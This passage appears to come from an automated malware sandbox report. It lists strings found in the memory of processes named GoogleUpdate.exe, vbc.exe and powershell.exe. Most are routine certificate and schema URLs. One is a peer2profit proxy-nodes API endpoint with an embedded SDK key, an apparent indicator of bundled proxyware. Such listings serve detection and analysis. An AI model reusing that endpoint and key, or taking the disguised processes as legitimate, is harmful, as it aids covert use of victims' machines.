GoogleUpdate.exe, 0000002B.00000003.459639437.0000000001073000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.464624599.0000000001073000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000002.629378536.0000000001073000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.539888150.0000000001073000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.551213750.0000000001073000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.513900545.0000000001073000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.517239514.0000000001073000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.507662891.0000000001073000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.532588442.0000000001073000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.542452094.0000000001073000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.545194559.0000000001073000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000003F.00000002.578446433.0000019DFE9EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: GoogleUpdate.exe.9.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: GoogleUpdate.exe.9.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: GoogleUpdate.exe.9.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: GoogleUpdate.exe.9.dr	String found in binary or memory: http://crl3.digicert.com/assured-cs-g1.crl00
Source: GoogleUpdate.exe.9.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: GoogleUpdate.exe.9.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: GoogleUpdate.exe.9.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: GoogleUpdate.exe.9.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: GoogleUpdate.exe.9.dr	String found in binary or memory: http://crl4.digicert.com/assured-cs-g1.crl0L
Source: GoogleUpdate.exe.9.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: GoogleUpdate.exe.9.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: GoogleUpdate.exe, 0000002B.00000002.641020150.0000000003172000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: http://https://https://api.peer2profit.com/api/proxy/nodes/getSDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926j
Source: vbc.exe, 00000002.00000002.422068434.0000000006B97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://idpminic.org
Source: vbc.exe, 00000002.00000003.399244425.000000000CCB1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000003.398306497.000000000CCA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ns.ado/1
Source: vbc.exe, 00000002.00000003.399244425.000000000CCB1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000003.398306497.000000000CCA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ns.adobe.c/g
Source: vbc.exe, 00000002.00000003.399244425.000000000CCB1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000003.398306497.000000000CCA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ns.adobe.cobj
Source: GoogleUpdate.exe.9.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: GoogleUpdate.exe.9.dr	String found in binary or memory: http://ocsp.digicert.com0L
Source: GoogleUpdate.exe.9.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: GoogleUpdate.exe.9.dr	String found in binary or memory: http://ocsp.digicert.com0O
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faulth
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/spnego
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003F.00000002.532244422.0000019DE6691000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2006/02/addressingidentity
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10Response
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11Response
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12Response
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13Response
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14Response
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15Response
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16Response
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17Response
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18Response
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19Response
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1Response
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20Response
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21Response
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22Response
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23Response
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.423251864.0000000006BDC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24Response
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2Response
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3
Source: vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3Response
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4Response
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5Response
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6Response
Source: vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7
